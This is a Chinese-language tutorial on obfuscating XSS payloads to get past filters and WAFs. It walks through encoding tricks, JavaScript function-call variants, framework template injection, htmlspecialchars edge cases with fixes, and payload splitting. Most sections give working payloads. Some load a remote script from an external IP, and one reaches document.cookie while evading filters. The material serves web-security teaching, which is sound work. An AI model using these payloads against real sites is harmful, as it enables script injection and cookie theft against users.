XSS的混淆与绕过
编码混淆
HTML实体编码
有一些字符在HTML文档中有特殊的含义,例如<和>字符。
要在内容中使用这些字符而不被解释为HTML,就可以使用HTML实体。
如
&#lt;、<、<都可以被解码成常见的小于号<。其中&#lt;叫做实体名称,<和<叫做实体编号(前者为十进制,后者为十六进制),效果其实是一样的。
示例:
1 | <a href="javascript:alert(1)">test</a> |

注:若需要在地址栏直接输入执行,还需要对其再进行URL编码才可执行。
不能对属性名或事件名进行html编码,否则会导致原先的属性或事件无效。
URL编码
其实url编码就是一个字符ascii码的十六进制。不过稍微有些变动,需要在前面加上“%”。比如“\”,它的ascii码是92,92的十六进制是5c,所以“\”的url编码就是%5c。
但是RFC3986 协议规定encodeURI 方法不会对ASCII字母、数字、~!@#$&*()=:/,;?+’ 编码,所以现在大部分URL编码工具并不会对英文字符进行编码,需要自己手动查表。
URL编码查询表:https://www.w3school.com.cn/tags/html_ref_urlencode.asp
URL编码工具:https://www.iamwawa.cn/urldecode.html
示例:
1 | <a h%72ef="javasc%72ipt:ale%72t(1)">test</a> |

将参数带入查询时浏览器会自动进行URL解码。
双重编码
有的时候,应用程序会在字符串再次解码之前,对其执行XSS过滤,这样就会给我们留下实现绕过的可乘之机。
| 字符 | 双重编码 |
|---|---|
| < | %253C |
| > | %253E |
| ( | %2528 |
| ) | %2529 |
| “ | %2522 |
| ‘ | %2527 |
JavaScript编码
JS编码广义上就是一般转义字符、八进制转义字符、十六进制转义字符、Unicode编码的表现。
一般转义字符
所有的ASCII码都可以用“\”加数字(一般是8进制数字)来表示。而C中定义了一些字母前加”\”来表示常见的那些不能显示的ASCII字符,如\0,\t,\n等,就称为转义字符,因为后面的字符,都不是它本来的ASCII字符意思了。
| 转义字符 | 意义 | ASCII码值(十进制) |
|---|---|---|
| \a | 响铃(BEL) | 007 |
| \b | 退格(BS) ,将当前位置移到前一列 | 008 |
| \f | 换页(FF),将当前位置移到下页开头 | 012 |
| \n | 换行(LF) ,将当前位置移到下一行开头 | 010 |
| \r | 回车(CR) ,将当前位置移到本行开头 | 013 |
| \t | 水平制表(HT) (跳到下一个TAB位置) | 009 |
| \v | 垂直制表(VT) | 011 |
| \ | 代表一个反斜线字符’’\’ | 092 |
| \’ | 代表一个单引号(撇号)字符 | 039 |
| \” | 代表一个双引号字符 | 034 |
| \? | 代表一个问号 | 063 |
| \0 | 空字符(NULL) | 000 |
八进制转义字符
使用三位数字表示,不足位数用0补充,按8位原字符八进制字符编码。
在JavaScript中不能直接使用八进制编码,需要使用eval等函数进行执行。
示例:
1 | <a href="javascript:eval('\141\154\145\162\164\050\061\051');">test</a> |
十六进制转义字符
使用两位数字表示,不足位数用0补充,按8位原字符16进制字符编码,前缀为 x 。
在JavaScript中不能直接使用十六进制编码,需要使用eval等函数进行执行。
示例:
1 | <a href="javascript:eval('\x61\x6c\x65\x72\x74\x28\x31\x29');">test</a> |
Unicode编码
Unicode字符集编码全称:Universal Multiple-Octet Coded Character Set,通用多八位编码字符集。Unicode字符集是国际组织制定的可以容纳世界上所有文字和符号的编码方案。
在JavaScript中Unicode使用四位数字表示,不足为数用0补充,按16位原字符16进制Unicode数值编码,前缀为 u 。
Unicode是可以直接将JavaScript中的函数进行转义并执行的。
示例:
1 | <a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">XSS Test</a> |
Unicode编码转换工具:https://oktools.net/unicode
ASCII码
JavaScript中的fromCharCode() 方法可以将ASCII码转换为字符串。
我们可以将转换后的字符串通过eval函数进行执行。
示例:
1 | <script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script> |
ASCII码转换工具:https://www.asciim.cn/m/tools/convert_string_to_ascii.html
Base64编码
Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。
利用伪协议base64解码执行XSS
1 | <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> |
Base64编码转换工具:https://www.qqxiuzi.cn/bianma/base64.htm
怪异的“乱码”
下列的编码看似“乱码”实际上有规律可循。虽然在实战应用中会因为长度的原因受到种种限制几乎用不到,但是在CTF比赛中却常常能看到。
JSFuck编码
JSFuck仅仅使用6种符号来编写代码。它们分别是(、)、+、[、]、!。

JSF$ck编码
JSF$ck是JSFuck的分支版本,使用 +!{}[]$` 代替 +()![] 。

Github地址:https://github.com/centime/jsfsck
官方的编码网站已经停止运营,国内知晓这个编码的人也少之又少。
Jother编码
只用 ! + ( ) [ ] { } 这八个字符就能完成对任意字符串的编码。

编码工具:https://vulsee.com/tools/jother/index.htm
JJEncode编码
JJEncoder是将JavaScript代码转换成只有符号的字符串编码。
温馨提示:
JJEncode加密后的JavaScript代码非常容易解码。
JJEncode不是实用的代码混淆工具,只是一个编码器。
JJEncode加密后的代码太有特色了,容易被发现的;同时运行加密后的代码依赖于浏览器,不能在某种浏览器上正常运行。

编码工具:https://utf-8.jp/public/jjencode.html
AAEncode编码
AAEncoder是JavaScript代码转换成颜文字网络表情的编码。

编码工具:https://utf-8.jp/public/aaencode.html
常用编码转换工具推荐
CyberChef
XSSEE
XSS’OR
函数变形混淆
我们可以将alert(1)函数转换为以下对应形式。
符号替代
括号() 可以由 反引号`来替代;引号”‘ 可以由 斜杠/来替代,.source可以返回被斜杠引用的内容。
1 | alert`1` |
数组操作方法
1 | [1].find(alert) |
正则表达式替换
1 | eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, '')) |
窗口对象执行方法
1 | (self)["alert"](1) |
字符串转换
1 | top[8680439..toString(30)](1) |
说明:
alert字符串用parseInt函数,以基数为30转化后为8680439parseInt('alert',30) ==> 8680439
toString函数将返回的数字8680439,以基数为30还原8680439..toString(30) ==> 'alert'
函数多样调用
1 | alert.call(null,'param') |
新建函数调用
1 | (function(){alert(1)})() |
抛出异常
1 | try{throw 1}catch(e){alert(e)} |
赋值
1 | //变量赋值 |
location对象
location对象的hash属性用于设置或取得 URL 中的锚部分,比如:http://localhost/1.php#alert(1),我们在控制台输入location.hash,则会返回我们设定的锚,即#alert(1)。
再结合slice()、substr()等字符串处理函数获取字符串。
1 | <body/onload=eval(location.hash.slice(1))>#alert(1) |
with函数替代
with用来引用某个特定对象中已有的属性,使用with可以实现通过节点名称的对象调用。
如果.被拦截,可以使用with替代。
1 | <svg/onload=with(location)with(hash)eval(alert(1))> |
基于DOM的方法创建和插入节点把外部JS文件注入到网页中,也可以应用with。
1 | <svg/onload="[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://192.168.123.42/xss.js'})"> |
unescape函数解码
unescape()函数用于对已经使用escape()函数编码的字符串进行解码,并返回解码后的字符串。
很多会拦截外部url,比如拦截//。
1 | <svg/onload=appendChild(createElement('script')).src=unescape('http%3A%2F%2F192.168.123.42%2Fxss.js')> |
利用拼接数组函数
concat()不仅仅可以用于连接两个或多个数组,还可以合并两个或者多个字符串。
1 | <svg/onload=location='javas'.concat('cript:ale','rt(1)')> |
再补充个有些防护过滤了document.cookie可以试下下面的。
1 | document['coo'['CONCAT'.toLowerCase()]('kie')] |
join()将数组转换成字符串
1 | <iframe onload=location=['javas','cript:al','ert(1)'].join('')> |
AngularJS框架
AngularJS是一个很流行的JavaScript框架,通过这个框架可以把表达式放在花括号中嵌入到页面中。例如,表达式1+2=3将会得到1+2=3。其中括号中的表达式被执行了,这就意味着,如果服务端允许用户输入的参数中带有花括号,我们就可以用Angular表达式来进行xss攻击。
表达式沙盒化:
在AngularJS中,沙盒化的目的并不是为了安全,更主要的是为了分离应用,例如,用户在获取window的时候是不被允许的,因为这样可以避免在你的程序中引入全局变量。但是,如果在表达式被处理之前,有攻击者修改了页面模板,这样的情况沙盒是不会拦截的。也就是说,这种情况下,任何在花括号内的语句都能被执行。
示例:
1 | {{alert(1)}} |
Mavo框架
Mavo 是一个扩展自HTML的语言,用以描述应用如何管理,存储和转换数据。
示例:
1 | [self.alert(1)] |
htmlspecialchars函数不生效的场景
众所周知,PHP中的htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。这样能够有效防止跨站脚本。
有关该函数的用法:https://www.w3school.com.cn/php/func_string_htmlspecialchars.asp
但是在很多场景下htmlspecialchars过滤未必能奏效。
场景一:标签属性(未过滤单引号)
源码如下:
1 |
|
htmlspecialchars默认配置是不过滤单引号的。只有设置了:quotestyle 选项为ENT_QUOTES才会过滤单引号,如果此时你的输入%27%20onclick=alert(1)%20%27,便可闭合前后单引号,执行js代码。

那么仍然会绕过htmlspecialchars()函数的检查,从而造成一个反射型的xss。
修补方案:
编码双引号和单引号。
1 | $name = htmlspecialchars($name); |
处理之后,里边的代码就不会被当成js执行。
场景二:script标签之间
源码如下:
1 | <meta http-equiv=Content-Type content="text/html;charset=gbk"> |

修补方案:
此处调用了html()做输出,仅考虑单引号双引号以及尖括号显然已经不够了,还必须得考虑别的因素在里面,此时应该再使用json_encode()函数进行处理。即:
1 | $('#text').html(".htmlspecialchars($name)."); |
处理之后,里边的代码就不会被当成js执行。
拆分法绕过长度限制
著名安全研究员剑心曾发布一篇文章叫做《疯狂的跨站之行》,里面讲述了一种特别的Xss利用技巧,就是当应用程序没有过滤Xss关键字符人(如<、>)却对输入字符长度有限制的情况下,如何使用“拆分法”执行跨站脚本代码。
字符变量拆分
我们可以将如下的代码引入一个字符串变量z中
1 | document.write("<script>alert(/xss/)</script>") |
然后分几次将其嵌入到变量Z中,最后通过eval(z)巧妙地执行代码。
1 | <script>z='document.'</script> |

由此可见,拆分法跨站的核心是:把跨站代码分成几个片段,然后再使用某种方式将其拼凑在一起执行,这和缓冲区溢出的shellcode的利用方式有异曲同工之妙。
多行注释拆分
可以将<script>alert(/xss/)</script>拆分成如下片段
1 | <script>/* |
也是可以执行JavaScript脚本的


参考资料
- 暗月 编《渗透测试手册WEB安全漏洞》
- XSS 攻击时怎么绕过 htmlspecialchars 函数呢? - 知乎 (zhihu.com)
- Cross-Site Scripting (XSS) Cheat Sheet - 2021 Edition | Web Security Academy (portswigger.net)
- 2020年仍然有效的一些XSS Payload - FreeBuf网络安全行业门户
- 长亭WAF XSS防护绕过小记 - 云+社区 - 腾讯云 (tencent.com)
- 第十八课 - XSS fetch_哔哩哔哩_bilibili
- XSS 一次跨站拆分法的应用 - 程序员大本营 (pianshen.com)
- 干货 | 各种WAF绕过手法学习 - 云+社区 - 腾讯云 (tencent.com)